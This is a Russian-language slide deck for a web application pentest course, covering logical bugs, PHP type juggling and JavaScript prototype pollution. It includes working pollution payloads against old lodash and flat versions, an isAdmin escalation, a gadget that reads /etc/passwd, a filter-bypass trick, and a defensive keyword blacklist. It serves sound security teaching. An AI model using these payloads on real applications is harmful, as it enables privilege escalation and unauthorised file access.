---
title: Web App Pentest - 0x09 Logical bugs/ PHP LC&TJ / Prototype Pollution
tags: CSR - Web App Pentest
slideOptions:
transition: 'fade'
parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg'
---
<style>
.reveal {
font-size: 36px;
}
</style>
# Web App Pentest
## Logical bugs
## Prototype Pollution
---
Вопросы по заданиям?
---
## Logical bugs
Логические ошибки допущенные разработчиками могут позволить атакующему выполнить запрещенное действие, обойти проверку и т.д.
---
## PHP Loose Comparison & Type Juggling
---
## PHP LC & TJ
PHP содержит два оператора сравнения:
* `==` - нестрогий, допускает приведение типов
* `===` - строгий, типы должны совпадать
https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf
---

---
## Scientific notation
```php
"1e1" == 10 // True
"0e32" == 0 // True
"0e2323" == "0e42424" // True
```
---
## Функции возвращающие Null
Некоторые функции PHP при получении в качестве параметра неожиданного значения не падают с `Fatal Error` а выводят `Warning`, и возвращают `NULL`.
Например:
`hash_hmac`
В PHP >8 версии многие функции начали возвращать `Fatal Error`.
---
## Пример
```
docker run -p 7777:80 cth123123/php_loosecomparison
```
---
## Как защищаться?
ВСЕГДА использовать сильные операторы сравнения `===` `!==`.
in_array использовать с третьим параметром True:
```php=
in_array("value", arr, TRUE)
```
---
## Logical bugs
Логические ошибки могут быть абсолютно разными.
Примеры:
- bWAPP Captcha;
- Portswigger https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass
<!-- - array_merge example [http://206.81.26.101:8102/] -->
---
# Prototype Pollution
---
## Prototype Pollution
Проблема характерная исключительно для javascript
В javascript нету нормальных классов.
Вместо них используются прототипы (prototype).
---
## Prototype
<Демонстрация объекта javascript и прототипа в консоли>
---
## Prototype
Способы получения доступа к прототипу:
```javascript
test_obj = {data:'fefefe',name:'xxxxx'};
test_obj.__proto__ // вернет прототип
Object.getPrototypeOf(test_obj) // Тоже вернет прототип
```
---
## Prototype
Прототип объекта указывает на .prototype какого либо класса
```javascript=
test_obj.__proto__ == Object.prototype
> true
```
---
## Prototype
Когда javascript ищет запрошенное свойство объекта `test_obj.name` он:
1. Сначала ищет `name` в самом объекте
2. Если не находит, то смотрит в прототипе `test_obj.__proto__.name`
3. Если и там нет, то в ход идет `test_obj.__proto__.__proto__.name`
4. И т.д. пока `.__proto__!=null`
---
## Prototype
Прототип можно изменять через доступ к свойству __proto__
```javascript
test_obj.__proto__.toString = function () { return 'fefefe' };
console.log ('object is ' + test_obj);
```
---
## Prototype
Изменения прототипа перманентны и касаются всех объектов в текущем контексте:
```javascript
test_obj.__proto__.toString = function () { return 'fefefe' };
other_obj = {};
console.log ('object is ' + other_obj);
```
---
## Prototype
Изменения прототипа перманентны и касаются всех объектов в текущем контексте:
```javascript
test_obj.__proto__.toString = function () { return 'fefefe' };
other_obj = {};
console.log ('object is ' + other_obj);
Object.prototype.toString()
```
---
## Prototype Pollution
Небезопасные конструкции в коде могут приводить к возможности произвольного изменения часто используемого прототипа, например `Object.prototype`, атакующим. Это позволяет нарушить логику работы приложения в других местах кода.
---
## Prototype Pollution
Для возникновения уязвимости нужно:
1. Возможно собственно самого Pollution - изменения прототипа
2. Использование другим кодом какого либо параметра из прототипа
---
## Prototype Pollution
#### Возможность изменения прототипа
В коде должно быть что-то такое
```javascript
var a = <input>;
var b = <input>;
var c = <input>;
var d = {};
d[a][b] = c;
```
---
## Prototype Pollution
#### Возможность изменения прототипа
```javascript
var a = <input>;
var b = <input>;
var c = <input>;
var d = {};
d[a][b] = c;
a=__proto__
b=toString
c=xxxx
```
---
## Prototype Pollution
#### Возможность изменения прототипа
```javascript
var a = <input>;
var b = <input>;
var c = <input>;
var d = {};
d[a][b] = c;
a='__proto__'
b='toString'
c='xxxx'
d['__proto__']['toString']='xxxx';
```
---
## Prototype Pollution
#### Возможность изменения прототипа
```javascript
var a = <input>;
var b = <input>;
var c = <input>;
var d = {};
d[a][b] = c;
a='__proto__'
b='toString'
c='xxxx'
d['__proto__']['toString']='xxxx';
```
Это DoS!
---
## Prototype Pollution
Обычно такие проблемы возникают при использовании библиотек
`unflatten` (fix https://github.com/hughsk/flat/pull/106)
```javascript
const { unflatten } = require('flat');
app.post('/vulnerable', function (req, res) {
let object = unflatten(req.body);
res.json(object);
});
```
```javascript
unflatten({"a.b.c":333});
```
Пример в консоли (`npm install flat@5.0.0`).

---
## Prototype Pollution
Обычно такие проблемы возникают при использовании библиотек
`unflatten`
```javascript
const { unflatten } = require('flat');
app.post('/vulnerable', function (req, res) {
let object = unflatten(req.body);
res.json(object);
});
```
```javascript
unflatten({"__proto__.isAdmin":true});
```
---
## Prototype Pollution
Обычно такие проблемы возникают при использовании библиотек
`lodash`
```javascript
var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({}, payload);
console.log({}.isAdmin); // true
```
Пример в консоли (`npm install lodash@4.17.10`).
---
## Prototype Pollution
2. Использование другим кодом какого либо параметра из прототипа
Обычно выглядит как то так:
```javascript
function test( response,config ) {
var file = config.file || '/tmp/123'
response.sendFile(file)
}
```
---
## Prototype Pollution
2. Использование другим кодом какого либо параметра из прототипа
Обычно выглядит как то так:
```javascript
function test( response,config ) {
var file = config.file || '/tmp/123'
response.sendFile(file)
}
```
```javascript
x.__proto__.file='/etc/passwd'
config = {}
var file = config.file || '/tmp/123'
console.log(file)
```
---
## Prototype Pollution
### Filter bypass
Если `__proto__` блокируется, то можно использовать `constructor.prototype`.
---
## Prototype Pollution
2. Использование другим кодом какого либо параметра из прототипа
Такие использования, которые что-то дают атакующему, называются "гаджетами".
В ряде популярных библиотек известны гаджеты
(fork, spawn)[https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/]
(pug и handlebars)[https://rayepeng.medium.com/how-ast-injection-and-prototype-pollution-ignite-threats-abb165164a68]
---
## Prototype Pollution
Пример `Prototype Pollution - Admin`.
Пример `breaking grad` в https://hackthebox.eu
---
## Prototype Pollution
#### Client Side
Также Prototype Pollution может приводить к XSS.
Примеры:
https://habr.com/ru/company/huawei/blog/547178/
Гаджеты для библиотек:
https://github.com/BlackFan/client-side-prototype-pollution
---
## Prototype Pollution
### Как защищаться
1. На известные библиотеки с Prototype Pollution, заводятся CVE. Системы SCA их обнаруживают.
2. Можно попытаться заблеклистить, но это не всегда работает:
- `__proto__`
- `prototype`
- `constructor`
---
## Задания
- [Gunship HTB](https://app.hackthebox.eu/challenges/gunship)
- на CTFd